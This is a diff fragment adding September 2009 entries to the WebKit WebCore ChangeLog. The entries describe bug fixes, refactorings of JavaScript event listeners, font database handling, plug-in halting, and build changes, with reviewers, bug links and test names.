+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * platform/graphics/GraphicsContext3D.h:
+
+2009-09-25  Jeremy Orlow  <jorlow@chromium.org>
+
+        This is breaking Chromium try bots, so I'm counting this as a build fix.
+
+        Add more svn:ignore exceptions.  On different platforms, these files are
+        generated with different case for WebCore.
+
+        * WebCore.gyp: Changed property svn:ignore.
+
+2009-09-25  Alexey Proskuryakov  <ap@apple.com>
+
+        Reverting r48767, as it broke Windows build in a non-trivial way.
+
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+        (WebCore::JSAbstractWorker::addEventListener):
+        (WebCore::JSAbstractWorker::removeEventListener):
+        * bindings/js/JSDOMApplicationCacheCustom.cpp:
+        (WebCore::JSDOMApplicationCache::addEventListener):
+        (WebCore::JSDOMApplicationCache::removeEventListener):
+        * bindings/js/JSDOMGlobalObject.cpp:
+        (WebCore::JSDOMGlobalObject::createJSAttributeEventListener):
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::addEventListener):
+        (WebCore::JSDOMWindow::removeEventListener):
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::JSEventListener):
+        (WebCore::JSEventListener::jsFunction):
+        (WebCore::JSEventListener::markJSFunction):
+        (WebCore::JSEventListener::handleEvent):
+        (WebCore::JSEventListener::reportError):
+        * bindings/js/JSEventListener.h:
+        (WebCore::JSEventListener::create):
+        * bindings/js/JSEventSourceCustom.cpp:
+        (WebCore::JSEventSource::addEventListener):
+        (WebCore::JSEventSource::removeEventListener):
+        * bindings/js/JSLazyEventListener.cpp:
+        (WebCore::JSLazyEventListener::JSLazyEventListener):
+        (WebCore::JSLazyEventListener::jsFunction):
+        (WebCore::JSLazyEventListener::parseCode):
+        * bindings/js/JSLazyEventListener.h:
+        (WebCore::JSLazyEventListener::create):
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::addEventListener):
+        (WebCore::JSMessagePort::removeEventListener):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::addEventListener):
+        (WebCore::JSNode::removeEventListener):
+        * bindings/js/JSSVGElementInstanceCustom.cpp:
+        (WebCore::JSSVGElementInstance::addEventListener):
+        (WebCore::JSSVGElementInstance::removeEventListener):
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::addEventListener):
+        (WebCore::JSWorkerContext::removeEventListener):
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::addEventListener):
+        (WebCore::JSXMLHttpRequest::removeEventListener):
+        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
+        (WebCore::JSXMLHttpRequestUpload::addEventListener):
+        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
+        * bindings/js/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener):
+        * bindings/objc/ObjCEventListener.h:
+        * bindings/objc/ObjCEventListener.mm:
+        (WebCore::ObjCEventListener::handleEvent):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * dom/EventListener.h:
+        (WebCore::EventListener::reportError):
+        (WebCore::EventListener::jsFunction):
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::fireEventListeners):
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::handleEvent):
+        * inspector/InspectorDOMAgent.h:
+        * inspector/InspectorDOMStorageResource.cpp:
+        (WebCore::InspectorDOMStorageResource::handleEvent):
+        * inspector/InspectorDOMStorageResource.h:
+        * loader/ImageDocument.cpp:
+        (WebCore::ImageEventListener::handleEvent):
+        * svg/animation/SVGSMILElement.cpp:
+        (WebCore::ConditionEventListener::handleEvent):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::reportException):
+
+2009-09-24  Tony Chang  <tony@chromium.org>
+
+        Reviewed by David Levin.
+
+        Add a gyp variable to allow building a debug webcore without debug
+        symbols.  This allows for faster compile, link, and gdb times.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29721
+
+        No new tests, build config change.
+
+        * WebCore.gyp/WebCore.gyp:
+
+2009-09-25  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Declare RegisteredEventListener as a class instead of a struct.
+        This fixes a warning in the Chromium build.
+
+        * dom/RegisteredEventListener.h:
+
+2009-09-25  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        WebCore part of
+        <rdar://problem/7211635> 2 byte characters are displayed as garbaged
+        <rdar://problem/7212626> garbled/gibberish text (off-by-one)
+
+        When the Windows Fonts directory contains more than one font file for a
+        given font name, which of the fonts gets assigned to the name in the
+        Core Graphics font database was determined arbitrarily and did not
+        always match the font GDI used for the same font name. The mismatch
+        caused character-to-glyph mapping to use one font and glyph rendering to
+        use another.
+
+        The fix is to update the Core Graphics font database from the registry
+        entries (that reflect the name-to-font mapping that GDI uses) after
+        populating it with the result of scanning the Fonts directory. As a
+        consequence, the directory needs to be scanned at startup every time the
+        registry key changes, so the last value of the registry key is kept
+        in the property list on disk so that it could be compared to the current
+        value on startup.
+
+        * platform/graphics/win/FontDatabase.cpp:
+        (WebCore::populateFontDatabaseFromPlist): Now takes a property list as
+        a parameter and avoids round-tripping through XML by calling
+        wkAddFontsFromPlist() instead of wkAddFontsFromPlistRepresentation().
+        (WebCore::fontFilenamesFromRegistryKey):
+        (WebCore::cgFontDBKey):
+        (WebCore::writeFontDatabaseToPlist): Now takes the CG font DB property
+        list and a property list with the font filenames from the registry and
+        writes a dictionary with those property lists as values.
+        (WebCore::fontFilenamesFromRegistry): Added. Returns an array with the
+        values in the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts
+        registry key.
+        (WebCore::populateFontDatabase): Changed to read the contents of the
+        Fonts registry key and compare it with the last-saved value from the
+        property list, and to call wkAddFontsFromRegistry() after populating the
+        CG font DB from the file system. Uses wkCreateFontsPlist() instead of
+        wkCreateFontsPlistRepresentation() to avoid round-tripping through XML.
+
+2009-09-25  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Inlined some object creation code, including lexicalGlobalObject access
+        https://bugs.webkit.org/show_bug.cgi?id=29750
+
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        (WebCore::JSInspectorBackend::currentCallFrame):
+        * inspector/JavaScriptDebugServer.cpp:
+        (WebCore::JavaScriptDebugServer::hasBreakpoint): Updated for JavaScriptCore
+        API changes.
+
+2009-09-25  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=24399
+        Make @import work in user stylesheets.  The first bug was that the URL wasn't being set on the
+        user sheets themselves, so relative @import URLs couldn't resolve properly.  The second bug
+        was that the loads would be denied.  This is fixed by using the requestUserCSSStyleSheet method
+        instead of the normal request method.  In order to know when to do this, CSSStyleSheets now have
+        a propagated boolean, m_isUserStyleSheet, that lets them know if they are user stylesheets or not.
+
+        * css/CSSImportRule.cpp:
+        (WebCore::CSSImportRule::insertedIntoParent):
+        * css/CSSStyleSheet.cpp:
+        (WebCore::CSSStyleSheet::CSSStyleSheet):
+        * css/CSSStyleSheet.h:
+        (WebCore::CSSStyleSheet::setIsUserStyleSheet):
+        (WebCore::CSSStyleSheet::isUserStyleSheet):
+        * dom/Document.cpp:
+        (WebCore::Document::pageUserSheet):
+        (WebCore::Document::pageGroupUserSheets):
+
+2009-09-25  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        ASSERTION FAILED: !repaintContainer || repaintContainer == this
+        https://bugs.webkit.org/show_bug.cgi?id=29755
+        
+        It's possible for RenderObject::container() to return an object that is higher
+        in the hierarchy than the repaintContainer that is being used to repaint an
+        object. For example, this can happen when running an accelerated opacity
+        transition on an element with a position:absolute parent, and a position:absolute child.
+        
+        In this case we need to detect when RenderObject::container() will skip over
+        repaintContainer, and in that case adjust the coords to shift into repaintContainer's space.
+
+        Test: compositing/repaint/opacity-between-absolute.html
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::mapLocalToContainer):
+        (WebCore::RenderBox::computeRectForRepaint):
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::computeRectForRepaint):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::container):
+        * rendering/RenderObject.h:
+
+2009-09-25  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Crash with hardware accelerated rotation of a PDF image in a data URL
+        <rdar://problem/7250378>
+        
+        PDF images don't return a color space from CGImageGetColorSpace(),
+        so we need to null-check the return value before use.
+
+        Test: compositing/color-matching/pdf-image-match.html
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::setContentsToImage):
+
+2009-09-25  Darin Adler  <darin@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        Null-deref when first access to an Attr node is after its Element is destroyed
+        https://bugs.webkit.org/show_bug.cgi?id=29748
+
+        Test: fast/dom/Attr/access-after-element-destruction.html
+
+        * bindings/js/JSAttrCustom.cpp:
+        (WebCore::JSAttr::markChildren): Added. Keeps the ownerElement alive as
+        long as the Attr is alive.
+
+        * bindings/js/JSNamedNodeMapCustom.cpp:
+        (WebCore::JSNamedNodeMap::markChildren): Added. Keeps the Element alive as
+        long as the NamedNodeMap is alive.
+
+        * dom/Attr.idl: Added CustomMarkFunction attribute.
+
+        * dom/NamedAttrMap.cpp:
+        (WebCore::NamedNodeMap::getAttributeItem): Tweaked formatting.
+        (WebCore::NamedNodeMap::detachFromElement): Call clearAttributes so we don't
+        have attributes hanging around that might need an Attr node created; that way
+        we won't crash with a null-dereference trying to deal with one of them. This
+        can't happen when working with JavaScript since the Element will be kept
+        alive due to the change above.
+        (WebCore::NamedNodeMap::addAttribute): Fix function name in comment.
+        (WebCore::NamedNodeMap::removeAttribute): Removed unneeded "1" and added
+        missing braces.
+
+        * dom/NamedAttrMap.h: Made the element function public so it can be used by
+        the JavaScript binding to keep the Element alive.
+
+        * dom/NamedNodeMap.idl: Added CustomMarkFunction attribute.
+
+2009-09-24  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler and Sam Weinig.
+
+        Onclick not fired for an element copied with cloneContents() or cloneNode()
+        https://bugs.webkit.org/show_bug.cgi?id=25130
+
+        The change here is that JS event listeners don't keep a reference to a global object from
+        where they were created, and instead take it as a parameter when parsing source code. Also,
+        the listener creation won't fail just because it happens for an element in a frameless
+        document.
+        Thus, moving nodes between documents no longer results in having incorrect registered
+        lazy event listeners on them.
+
+        Tests: fast/events/attribute-listener-cloned-from-frameless-doc-context-2.html
+               fast/events/attribute-listener-cloned-from-frameless-doc-context.html
+               fast/events/attribute-listener-cloned-from-frameless-doc.xhtml
+               fast/events/attribute-listener-extracted-from-frameless-doc-context-2.html
+               fast/events/attribute-listener-extracted-from-frameless-doc-context.html
+
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::JSEventListener): Don't take a reference to JSDOMGlobalObject.
+        (WebCore::JSEventListener::jsFunction): Take ScriptExecutionContext as a parameter for
+        getting to JSDOMGlobalObject. It's not used in base class, but is in JSLazyEventListner.
+        (WebCore::JSEventListener::markJSFunction): Don't mark the global object.
+        (WebCore::JSEventListener::handleEvent): Get global object from ScriptExecutionContext.
+        (WebCore::JSEventListener::reportError): Ditto.
+
+        * bindings/js/JSEventListener.h: (WebCore::JSEventListener::create): Don't keep a reference
+        to JSDOMGlobalObject.
+
+        * bindings/js/JSLazyEventListener.cpp: (WebCore::JSLazyEventListener::parseCode): Listener
+        creation was split between this function and ScriptEventListener; moved it here, as JS
+        global object can be different now.
+
+        * bindings/js/JSLazyEventListener.h: (WebCore::JSLazyEventListener::create): Keep source URL,
+        which can not be determined at parsing time.
+
+        * bindings/js/ScriptEventListener.cpp: (WebCore::createAttributeEventListener): Moved code
+        for listener creation to JSLazyEventListener. XSSAuditor code remains here, because tests
+        expect that errors are logged at document parsing time, and because I don't know what other
+        side effects moving it vould have.
+
+        * dom/EventListener.h: handleEvent() and reportError() now take ScriptExecutionContext,
+        because JSC needs a global context here.
+
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+        (WebCore::JSAbstractWorker::addEventListener):
+        (WebCore::JSAbstractWorker::removeEventListener):
+        * bindings/js/JSDOMApplicationCacheCustom.cpp:
+        (WebCore::JSDOMApplicationCache::addEventListener):
+        (WebCore::JSDOMApplicationCache::removeEventListener):
+        * bindings/js/JSDOMGlobalObject.cpp:
+        (WebCore::JSDOMGlobalObject::createJSAttributeEventListener):
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::addEventListener):
+        (WebCore::JSDOMWindow::removeEventListener):
+        * bindings/js/JSEventSourceCustom.cpp:
+        (WebCore::JSEventSource::addEventListener):
+        (WebCore::JSEventSource::removeEventListener):
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::addEventListener):
+        (WebCore::JSMessagePort::removeEventListener):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::addEventListener):
+        (WebCore::JSNode::removeEventListener):
+        * bindings/js/JSSVGElementInstanceCustom.cpp:
+        (WebCore::JSSVGElementInstance::addEventListener):
+        (WebCore::JSSVGElementInstance::removeEventListener):
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::addEventListener):
+        (WebCore::JSWorkerContext::removeEventListener):
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::addEventListener):
+        (WebCore::JSXMLHttpRequest::removeEventListener):
+        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
+        (WebCore::JSXMLHttpRequestUpload::addEventListener):
+        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
+        * bindings/objc/ObjCEventListener.h:
+        * bindings/objc/ObjCEventListener.mm:
+        (WebCore::ObjCEventListener::handleEvent):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::fireEventListeners):
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::handleEvent):
+        * inspector/InspectorDOMAgent.h:
+        * inspector/InspectorDOMStorageResource.cpp:
+        (WebCore::InspectorDOMStorageResource::handleEvent):
+        * inspector/InspectorDOMStorageResource.h:
+        * loader/ImageDocument.cpp:
+        (WebCore::ImageEventListener::handleEvent):
+        * svg/animation/SVGSMILElement.cpp:
+        (WebCore::ConditionEventListener::handleEvent):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::reportException):
+        Don't pass global object to JSEventListener::create(), which no longer needs it.
+        Note that some of these functions still have an early return for null global object, which
+        can probably be removed in a later patch.
+        Pass ScriptExecutionContext to EventListener methods that now need it.
+
+2009-09-25  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Darin Adler, Dan Bernstein, Adele Peterson, and others.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=29740
+        <rdar://problem/7168738> Gmail: After changing a foreground text color, pressing return doesn't apply background to new line
+
+        Change the way style is preserved when inserting a new paragraph.
+        The original code handled insertion at the beginning and at the end of a paragraph as special
+        cases. The newly created paragraph contained a set of nodes generated starting from the
+        computed style of the insertion node. This approach has two problems:
+        1. if the insertion node has a non opaque background color and one of the parent element did have
+        a solid background color the new paragraph did not have the element with the solid color in the tree.
+        2. in some circumstances it generated more markup than the original paragraph had (a span with bold, italic,
+        background color and some font attribute was being reproduced as span bold italic font as separate tags.
+        The new approach is to recreate in the new paragraph the same hierarchy of nodes found in the
+        paragraph where the insertion point is.
+
+        Test: editing/inserting/insert-bg-font.html
+
+        * editing/InsertParagraphSeparatorCommand.cpp:
+        (WebCore::InsertParagraphSeparatorCommand::getAncestorsInsideBlock): retrieves the list of all the ancestors
+        between the insert node and the outer block.
+        (WebCore::InsertParagraphSeparatorCommand::cloneHierarchyUnderNewBlock): uses the list of ancestors to recreate
+        in the new paragraph the same element hierarchy present in the starting paragraph.
+        (WebCore::InsertParagraphSeparatorCommand::doApply): changed the code to handle the general case of insertion
+        in the middle of the paragraph to use the new methods. Changed the handling of the insertion at the beginning and
+        at the end of the paragraph to use the new methods instead of applying the calculated style.
+        * editing/InsertParagraphSeparatorCommand.h: added methods getAncestorsInsideBlock and cloneHierarchyUnderNewBlock.
+
+2009-09-25  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Content-type parameters not taken into account when building form-data
+        https://bugs.webkit.org/show_bug.cgi?id=28970
+
+        existing manual test case extended with new tests
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView.prototype._refreshFormData):
+        (WebInspector.ResourceView.prototype._refreshParms):
+        * manual-tests/inspector/display-form-data.html:
+
+2009-09-25  Yuan Song  <song.yuan@ericsson.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=14566
+
+        Raise SECURITY_ERR exception if an attempt is made to change document.domain to an invalid value.
+
+        Test: fast/js/invalid-domain-change-throws-exception.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::setDomain):
+        * dom/Document.h:
+        * dom/Document.idl:
+
+2009-09-25  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Teach ScheduledAction::execute about isolated worlds
+        https://bugs.webkit.org/show_bug.cgi?id=27703
+
+        When setTimeout is called with a string argument in an isolated
+        world, we now compile the string in the isolated world.
+
+        Last time we tried this change, we got a lot of crashes.  This
+        time we're using a fresh local handle as our context to avoid
+        trouble if the peristent handle gets disposed before we leave
+        the context.
+
+        Test: fast/dom/timer-clear-interval-in-handler-and-generate-error.html
+
+        * bindings/v8/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::execute):
+
+2009-09-25  Paul Godavari  <paul@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Fix a regression in Mac Chromium popup menus, where the user's
+        selection was ignored and the popup became unresponsive.
+        https://bugs.webkit.org/show_bug.cgi?id=29726
+
+        The fix is to notify the popup's client that the popup was hidden,
+        even if the popup has no parent.
+
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupListBox::hidePopup):
+
+2009-09-25  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        Enable Pasteboard::writePlainText for Chromium and fix code style nits.
+        https://bugs.webkit.org/show_bug.cgi?id=29734
+
+        * platform/chromium/PasteboardChromium.cpp:
+        (WebCore::Pasteboard::writePlainText):
+        * platform/gtk/PasteboardGtk.cpp:
+        (WebCore::Pasteboard::writePlainText):
+        (WebCore::Pasteboard::writeURL):
+        * platform/mac/PasteboardMac.mm:
+        (WebCore::Pasteboard::writeSelection):
+        (WebCore::Pasteboard::writePlainText):
+        (WebCore::Pasteboard::writeURL):
+        * platform/qt/PasteboardQt.cpp:
+        (WebCore::Pasteboard::writePlainText):
+
+2009-09-25  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28876
+        [Qt] reduce peak memory consumption of text decoding.
+
+        Chop large input buffer into small buffers to reduce peak memory
+        during decoding.
+
+        * platform/text/qt/TextCodecQt.cpp:
+        (WebCore::TextCodecQt::decode):
+
+2009-09-24  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Add a mechanism for automatically halting plug-ins.
+
+        Reviewed by Oliver Hunt and Alice Liu.
+
+        * GNUmakefile.am:
+
+        * WebCore.base.exp:
+        Update export of Page constructor.
+
+        * WebCore.gypi:
+
+        * WebCore.pro:
+
+        * WebCore.vcproj/WebCore.vcproj:
+        Add PluginHalter.{h,cpp}, PluginHalterClient.h, and
+        HaltablePlugin.h.
+
+        * WebCore.xcodeproj/project.pbxproj:
+        Add files to Mac project.
+
+        * loader/EmptyClients.h:
+        Added an empty PluginHalterClient.
+        (WebCore::EmptyPluginHalterClient::shouldHaltPlugin):
+        Return false.
+
+        * page/PluginHalter.cpp: Added.
+        (WebCore::PluginHalter::PluginHalter):
+        (WebCore::PluginHalter::didStartPlugin):
+        Add the object to the plug-in set. If this is the only item in the set,
+        set m_oldestStartTime to this object's time, and start the timer.
+        (WebCore::PluginHalter::didStopPlugin):
+        Remove the plug-in from the set.
+        (WebCore::PluginHalter::timerFired):
+        Find the cut-off time as the current time minus the allowed run time;
+        plug-ins older than this may be halted. Iterate over the plug-ins. Find
+        the object with the oldest start time that is too young to be halted;
+        we'll use its start time to set the timer's next fire time. For all
+        plug-ins that are candidates to be halted, call the
+        PluginHalterClient's shouldHaltPlugin(). If this function returns true,
+        call the plug-in's halt() function. Remove these objects from the set
+        of tracked plug-ins. Call startTimerIfNecessary() to restart the timer.
+        (WebCore::PluginHalter::startTimerIfNecessary):
+        If the timer is set to fire, or the set of tracked plug-ins is empty,
+        return early. Set the timer to fire after the oldest plug-in has run
+        for the allowed run time.
+
+        * page/PluginHalter.h: Added.
+        (WebCore::PluginHalter::setPluginAllowedRunTime):
+
+        * page/PluginHalterClient.h: Added.
+        (WebCore::PluginHalterClient::~PluginHalterClient):
+
+        * page/Page.cpp:
+        (WebCore::Page::Page):
+        Initialize m_pluginHalterClient. Call pluginHalterEnabledStateChanged()
+        to create the PluginHalter if necessary.
+        (WebCore::Page::pluginHalterEnabledStateChanged):
+        If plug-in halting is enabled, create the PluginHalter. If it is
+        disabled, clear it.
+        (WebCore::Page::pluginAllowedRunTimeChanged):
+        If there is a plug-in halter, call its setPluginAllowedRunTime().
+        (WebCore::Page::didStartPlugin):
+        If there is a plug-in halter, call its didStartPlugin().
+        (WebCore::Page::didStopPlugin):
+        If there is a plug-in halter, call its didStopPlugin().
+
+        * page/Page.h:
+        Add a parameter to the Page constructor for the PluginHalterClient.
+        Added declarations for didStartPlugin() and didStopPlugin(), which are
+        called when HaltablePlugins are added to or removed from the page. Adds
+        pluginAllowedRunTimeChanged() and pluginHalterEnabledStateChanged() to
+        notify the Page when these settings are changed. Added members to hold
+        the PluginHalter and the PluginHalterClient.
+
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setPluginHalterEnabled):
+        If the enabled state has changed, call the Page's
+        pluginHalterEnabledStateChanged().
+        (WebCore::Settings::setPluginAllowedRunTime):
+        Call the Page's pluginAllowedRunTimeChanged().
+
+        * page/Settings.h:
+        (WebCore::Settings::pluginHalterEnabled):
+        (WebCore::Settings::pluginAllowedRunTime):
+
+        * page/HaltablePlugin.h: Added. Defines an interface for plug-ins that
+        can be automatically halted.
+        (WebCore::HaltablePlugin::~HaltablePlugin):
+
+        * svg/graphics/SVGImage.cpp:
+        (WebCore::SVGImage::dataChanged):
+        Pass a dummy PluginHalterClient.
+
+2009-09-24  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        REGRESSION: webkit-transform scale no longer works properly in nightly build
+        https://bugs.webkit.org/show_bug.cgi?id=29730
+        
+        When the initial or final state of a scale animation does not specify a transform,
+        use a default scale of 1, rather than zero.
+
+        Test: compositing/transitions/scale-transition-no-start.html
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::getTransformFunctionValue):
+
+2009-09-24  John Gregg  <johnnyg@google.com>
+
+        Reviewed by Eric Seidel.
+
+        isEnabled switch for notifications (experimental) in Page Settings
+        https://bugs.webkit.org/show_bug.cgi?id=28930
+
+        Adds a run-time flag in Settings object that controls whether
+        to expose desktop notifications.
+
+        No new test, but test code also modified to set this preference.
+
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::webkitNotifications): check preference before returning notifications object
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setExperimentalNotificationsEnabled):
+        * page/Settings.h:
+        (WebCore::Settings::experimentalNotificationsEnabled):
+
+2009-09-24  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fix <rdar://problem/7162000> Crash while trying to
+        calculate the horizontal position of image
+
+        Test: fast/inline-block/relative-positioned-rtl-crash.html
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::calcAbsoluteHorizontalReplaced): Corrected an
+        isInline() test to isRenderInline(). This is similar to r41259.
+
+2009-09-24  Jessie Berlin  <jberlin@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Fix expanding profile call stacks being broken after sorting.
+        https://bugs.webkit.org/show_bug.cgi?id=26423
+
+        * inspector/front-end/ProfileDataGridTree.js:
+        (WebInspector.ProfileDataGridNode.prototype.sort):
+        Set shouldRefreshChildren to true on collapsed nodes with children so that expanding it
+        causes the children to be placed in the right positions.
+
+2009-09-24  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Stephanie Lewis.
+
+        Fixed sudden termination console spew due to too many calls to
+        enableSuddenTermination.
+        
+        <rdar://problem/7063125> 10A410: Safari logging enableSuddenTermination errors
+
+        * page/DOMWindow.cpp:
+        (WebCore::removeUnloadEventListener):
+        (WebCore::removeAllUnloadEventListeners):
+        (WebCore::removeBeforeUnloadEventListener):
+        (WebCore::removeAllBeforeUnloadEventListeners): Only
+        enableSuddenTermination if the set of listeners is empty *and* this
+        window was in the set. Otherwise, a no-op will cause us to enableSuddenTermination.
+
+2009-09-24  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        WebKit returns "" instead of null when getting
+        inexistent, forbidden or invalidly named headers.
+        https://bugs.webkit.org/show_bug.cgi?id=29140
+
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::getResponseHeader):
+        Changed to return null as it should according to the spec.
+
+2009-09-24  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Add GYP generated files to svn:ignore
+        https://bugs.webkit.org/show_bug.cgi?id=29724
+
+        Adding the following files to the svn:ignore list (all in the
+        WebCore/WebCore.gyp directory)
+
+        WebCore.xcodeproj
+        WebCore.sln
+        WebCore.vcproj
+        WebCore_Debug.rules
+        WebCore_Release.rules
+        WebCore_Release - no tcmalloc.rules
+        WebCore_Purify.rules
+        WebCore.mk
+        WebCore_Debug_rules.mk
+        WebCore_Release_rules.mk
+        WebCore_Release - no tcmalloc_rules.mk
+        WebCore_Purify_rules.mk
+        WebCore.scons
+        WebCore_main.scons
+
+        * WebCore.gyp: Changed property svn:ignore.
+
+2009-09-24  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed. Mac build fix.
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::shouldTurnVerticalTicksIntoHorizontal):
+        remove unused parameter from function signature;
+
+2009-09-24  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Oliver Hunt.
+
+        Implement correct horizontal scrollbar behavior for GTKalso on
+        styled scrollbars.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29348
+        [Gtk] Scrollwheel on horizontal scrollbars should slide horizontally
+
+        Test: platform/gtk/scrollbars/overflow-scrollbar-horizontal-wheel-scroll.html
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleWheelEvent): on GTK+, when using the
+        wheel with the pointer on the horizontal scrollbar, scroll
+        horizontally;
+        * platform/PlatformWheelEvent.h:
+        * platform/gtk/WheelEventGtk.cpp:
+        (WebCore::PlatformWheelEvent::swapOrientation): allow adding a
+        vertical scroll to the horizontal one;
+
+2009-09-24  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        StorageNamespace::storageArea() should take in a PassRefPtr<StorageOrigin>
+        https://bugs.webkit.org/show_bug.cgi?id=29290
+
+        Modified StorageNamespace::storageArea() to take in a PassRefPtr<StorageOrigin>
+        per http://webkit.org/coding/RefPtr.html
+
+        No behavior change, so no tests.
+
+        * storage/StorageNamespace.h:
+        * storage/StorageNamespaceImpl.cpp:
+        (WebCore::StorageNamespaceImpl::storageArea):
+        * storage/StorageNamespaceImpl.h:
+
+2009-09-24  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Added back enable/disableSuddenTermination() functionality I accidentally
+        removed in my last patch.
+
+        * page/DOMWindow.cpp:
+        (WebCore::addUnloadEventListener):
+        (WebCore::removeUnloadEventListener):
+        (WebCore::removeAllUnloadEventListeners):
+        (WebCore::addBeforeUnloadEventListener):
+        (WebCore::removeBeforeUnloadEventListener):
+        (WebCore::removeAllBeforeUnloadEventListeners):
+        (WebCore::DOMWindow::dispatchAllPendingUnloadEvents):
+        (WebCore::DOMWindow::~DOMWindow):
+        (WebCore::DOMWindow::addEventListener):
+        (WebCore::DOMWindow::removeEventListener):
+        (WebCore::DOMWindow::removeAllEventListeners):
+
+2009-09-24  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Steve Falkenburg and Mark Rowe.
+
+        Don't pass -F to GCC on non-mac platforms since it is an darwin only.
+
+        * DerivedSources.make:
+
+2009-09-24  Sam Weinig  <sam@webkit.org>
+
+        Fix windows build.
+
+        * dom/Element.idl:
+
+2009-09-23  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Revert the relevant parts of r47925, and implement an alternate
+        fix (localize the coordinate check to GraphicsContext::clipPath()).
+        This fixes http://crbug.com/21174.
+
